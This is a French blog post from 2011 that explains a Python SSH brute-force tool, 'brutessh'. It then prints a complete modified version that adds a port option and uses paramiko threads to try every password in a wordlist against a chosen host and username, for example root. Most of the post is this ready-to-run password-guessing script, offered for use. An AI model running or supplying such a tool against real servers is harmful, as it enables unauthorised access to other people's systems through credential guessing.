0x01. FONCTIONNEMENT
Le script créer ce qu'on appelle des "threads", c'est à dire des "sous-processus" qui permettent, entre autre, d'accomplir plusieurs tâches en parallèle.
Chaque threads tente une connexion avec l'un des mots passes lu dans le fichier.
Lorsque la connexion échoue, l'entrée du fichier ligne+nombre de threads est lu et la connexion retentée.
Le respect du protocole SSH est assuré, dans le script par les bibliothèques Paramiko et LibCrypto.
paramiko/README :
"paramiko" est une combinaison de "paranoid" et de "friend". C'est un module pour Python v2.2 et supérieur qui implémente de protocole SSHv2 pour les connexions sécurisées (encryptée et authentique) vers des machines distantes.
Contrairement à SSL (alias TLS), le protocole SSHv2 ne requiert pas de certificats signés par une hiérarchie. Vous ne devez pas reconnaitre SSH2 (=SSHv2) comme un protocole qui a simplement remplacé Telnet ou RemoteShell (RSH), mais comme un protocole capable d'ouvrir des canaux, des ports à des services distants, comme pour faire un tunnel par exemple.
Cette bibliothèque a été entièrement écrite en Python.
# Fonctionnement grotesque : ./brutessh <---- liste-de-mots-de-passe.txt # Lit le fichier et extrait les mots de passe ./brutessh < P@ssw0rd M07d3pa$$e $3cr37! # Pour chaque mot de passe, tente de se connecter ./brutessh [thread 1] > ssh utilisateur@192.168.1.1 : P@ssw0rd ./brutessh [thread 2] > ssh utilisateur@192.168.1.1 : M07d3pa$$e ./brutessh [thread 3] > ssh utilisateur@192.168.1.1 : $3cr37!
0x02. CE QUI MANQUE
Parmi ce qui manque et qui plus est, est indispensable c'est le paramètre port. En effet le script ne permet pas de dire sur quel port se connecter. Si ma machine dispose d'un serveur SSH mais sur le port 2022, le script ne saura pas fonctionner sur ce port.
ssh -p 2022 utilisateur@serveur
0x03. MODIFICATION
Voici donc le script brutessh.py modifié :
#!/opt/local/bin/python import thread import time from threading import Thread import sys, os,threading, time, traceback, getopt import paramiko import terminal """ MacOSX : port install py-crypto Debian : apt-get install python-crypto Redhat : yum install python-crypto """ global adx APP="brutessh" adx="1" data=[] i=[] term = terminal.TerminalController() paramiko.util.log_to_file('demo.log') print "/n/*************************************" print "* *" print "* SSH Bruteforcer Ver. 0.3 *" print "* ------------------------ *" print "* Ver. 0.2 by: laramies@gmail.com *" print "* Christian Martorella *" print "* Edge-Security Research *" print "* *" print "* Ver. 0.3 by: secureinfo@free.fr *" print "* Nicolas F. *" print "* SecureInfo.free.fr *" print "* *" print "*************************************//n" def usage(): print "Usage: "+APP+" <-h host> [-p port] <-u username> <-d password file> [-t threads]/n" print " -h: destination host" print " -p: port (default: 22)" print " -u: username to force" print " -d: password file " print " -t: threads (default 12, more could be bad)/n" print "Example: "+APP+" -p 10022 -h 192.168.1.55 -u root -d mypasswordlist.txt /n" sys.exit() class force(Thread): def __init__( self, name ): Thread.__init__(self) self.name = name def run(self): global adx if adx == "1": passw=self.name.split("/n")[0] t = paramiko.Transport(hostname+":"+str(port)) try: t.start_client() except Exception: x = 0 try: t.auth_password(username=username,password=passw) except Exception: x = 0 if t.is_authenticated(): print "/nPassword found: " + passw t.close() adx = "0" else: #print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL t.close() time.sleep(0) i[0]=i[0]-1 def test_thread(names): try: paramiko.Transport(hostname+":"+str(port)) except: print "/nUnable to connect to : " + hostname + ":" + str(port) + "/n" sys.exit(1) i.append(0) j=0 while len(names): try: if i[0]<th: n = names.pop(0) i[0]=i[0]+1 thread=force(n) thread.start() j=j+1 except KeyboardInterrupt: print "Attack suspended by user../n" sys.exit() thread.join() def test(argv): global th global hostname global username global port th = 12 if len(sys.argv) < 3: usage() try : opts, args = getopt.getopt(argv,"h:u:d:t:p:") except getopt.GetoptError: usage() port = 22 for opt,arg in opts : if opt == '-u': username = arg elif opt == '-h': hostname = arg elif opt == '-d': password = arg elif opt == "-t": th = arg elif opt == "-p": port = arg try: f = open(password, "r") except: print "Can't open password file/n" sys.exit() print "Host: " + hostname + " | Port: " + str(port) + " | Username: " + username + " | Filename: " + password print "====================================================================================" name = f.readlines() starttime = time.clock() test_thread(name) stoptime = time.clock() print "/nElapsed time : " + str(stoptime-starttime)[:4] + " s" print "/n" if __name__ == "__main__": try: test(sys.argv[1:]) except KeyboardInterrupt: print "Attack suspended by user.../n" sys.exit()
=> Écrit par : Nicolas, le 09 février 2011